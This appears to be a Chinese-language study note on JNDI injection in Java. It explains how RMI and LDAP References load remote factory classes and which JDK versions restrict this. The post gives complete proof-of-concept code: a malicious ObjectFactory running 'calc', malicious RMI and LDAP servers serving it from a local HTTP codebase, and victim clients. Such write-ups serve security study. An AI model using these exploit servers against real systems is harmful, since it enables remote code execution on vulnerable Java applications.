JNDI(The Java Naming and Directory Interface,Java命名和目录接口)包括Naming Service和Directory Service。它是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。简单点来说就相当于一个索引库,一个命名服务将对象和名称联系在了一起,并且可以通过它们指定的名称找到相应的对象。
Naming Service:命名服务是将名称与值相关联的实体,称为"绑定"
Directory Service:是一种特殊的Naming Service,它允许存储和搜索"目录对象",一个目录对象不同于一个通用对象,目录对象可以与属性关联
作用就是获取初始目录环境
InitialContext initialContext = new InitialContext();
常用方法也就RMI那几种是一样的
bind list lookup rebind unbind
但是呢JNDI可以动态协议转换,例如
Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL,"rmi://localhost:9999"); Context context = new InitialContext(env); context.bind("refObj", new RefObject()); context.lookup("refObj");
JNDI根据传递的URL协议自动转换与设置了对应的工厂与PROVIDER_URL。
Context ctx = new InitialContext(); ctx.lookup("rmi://localhost:9999/refObj");
为了在命名或目录服务中绑定Java对象,可以使用Java序列化传输对象,但是,并非总是通过序列化去绑定对象,因为它可能太大或不合适。为了满足这些需求,JNDI定义了命名引用,以便对象可以通过绑定由命名管理器解码并解析为原始对象的一个引用间接地存储在命名或目录服务中。
Reference可以使用工厂来构造对象。当使用lookup查找对象时,Reference将使用工厂提供的工厂类加载地址来加载工厂类,例如下面代码。
Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("test", "test", "http://127.0.0.1:8000/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("obj",referenceWrapper);
参数1:className
- 如果本地找不到这个类名,就去远程加载
参数2:classFactory
- 加载的class
中需要实例化类的名称
参数3:classFactoryLocation
- 提供classes
数据的地址可以是file/ftp/http
协议
使用ReferenceWrapper
类对Reference
类或其子类对象进行远程包装使其能够被远程访问,客户端可以访问该引用。因为Reference
是没有有实现Remote
接口也没有继承 UnicastRemoteObject
类
当有客户端通过 lookup("obj")
获取远程对象时,获得到一个 Reference 类的存根,由于获取的是一个 Reference类的实例,客户端会首先去本地的 CLASSPATH
去寻找被标识为 refClassName
的类,如果本地未找到,则会去请求 http://127.0.0.1:8000/test.class
加载工厂类。
JNDI注入就是远程对象访问可控,Reference远程加载Object Factory类的特性从而造成代码执行。
他不同于RMI,RMI动态加载恶意类的 java版本应低于7u21、6u45,或者需要设置java.rmi.server.useCodebaseOnly=false系统属性的限制。
JNDI的话在JDK 6u132, JDK 7u122, JDK 8u113版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类
而LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制但是 在JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false
借用@啦啦0咯咯师傅的图
例如:利用本地Class作为Reference Factory绕过8u191高版本JDK限制:
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
https://threedr3am.github.io/2020/03/03/搞懂RMI、JRMP、JNDI-终结篇/#三、jdk版本-gt-jdk8u191
有了以上的了解,我们攻击过程当然也就不难的,但需要注意的是使用RMI+JNDI Reference就没有那些限制,不过在JDK 6u132、JDK 7u122、JDK 8u113 之后,系统属性 com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为false,即默认不允许RMI、cosnaming从远程的Codebase加载Reference工厂类。这里以JDK 8u31演示
恶意的test类
因为我们实例化后需要转换为ObjectFactory(ObjectFactory) clas.newInstance()
。所以要我们的类继承该类【具体流程这里不再阐述,有兴趣的可以跟下源代码】
public class test implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception,IOException{ return Runtime.getRuntime().exec("calc"); } }
恶意的Server
public class server { public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("test", "test", "http://127.0.0.1:8000/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("obj",referenceWrapper); System.out.println("running"); } }
受害者Client
public class client { public static void main(String[] args) throws NamingException { String url = "rmi://localhost:1099/obj"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
LDAP轻量目录访问协议是一种目录服务协议,运行在TCP/IP堆栈之上LDAP,目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库可以拿Mysql对比。
同样也是分成服务端/客户端;同样也是服务端存储数据,客户端与服务端连接进行操作
相对于mysql的表型存储;不同的是LDAP使用树型存储,因为树型存储,读性能佳,写性能差,没有事务处理、回滚功能。
概念:
树的层次:
例如设置如下:
dn="uid=r0ser1_study,ou=java,dc=example,dc=com"
这里使用天融信阿尔法实验室的代码,恶意类还是上面那个。我们先去maven里面加载
恶意的Server
public class ldap_server { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main ( String[] tmp_args ) { String[] args=new String[]{"http://127.0.0.1:8000/#test"}; int port = 9999; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
受害者Client
public class ldap_client { public static void main(String[] args) throws NamingException { new InitialContext().lookup("ldap://127.0.0.1:9999/test"); } }
建议阅读下面师傅们的文章,学习到了很多知识,记录不全。
https://xz.aliyun.com/t/7079 https://paper.seebug.org/1207/ https://xz.aliyun.com/t/6633#toc-7 https://paper.seebug.org/1091/#ldap_1 https://www.cnblogs.com/nice0e3/p/13958047.html https://threedr3am.github.io/2020/03/03/%E6%90%9E%E6%87%82RMI%E3%80%81JRMP%E3%80%81JNDI-%E7%BB%88%E7%BB%93%E7%AF%87/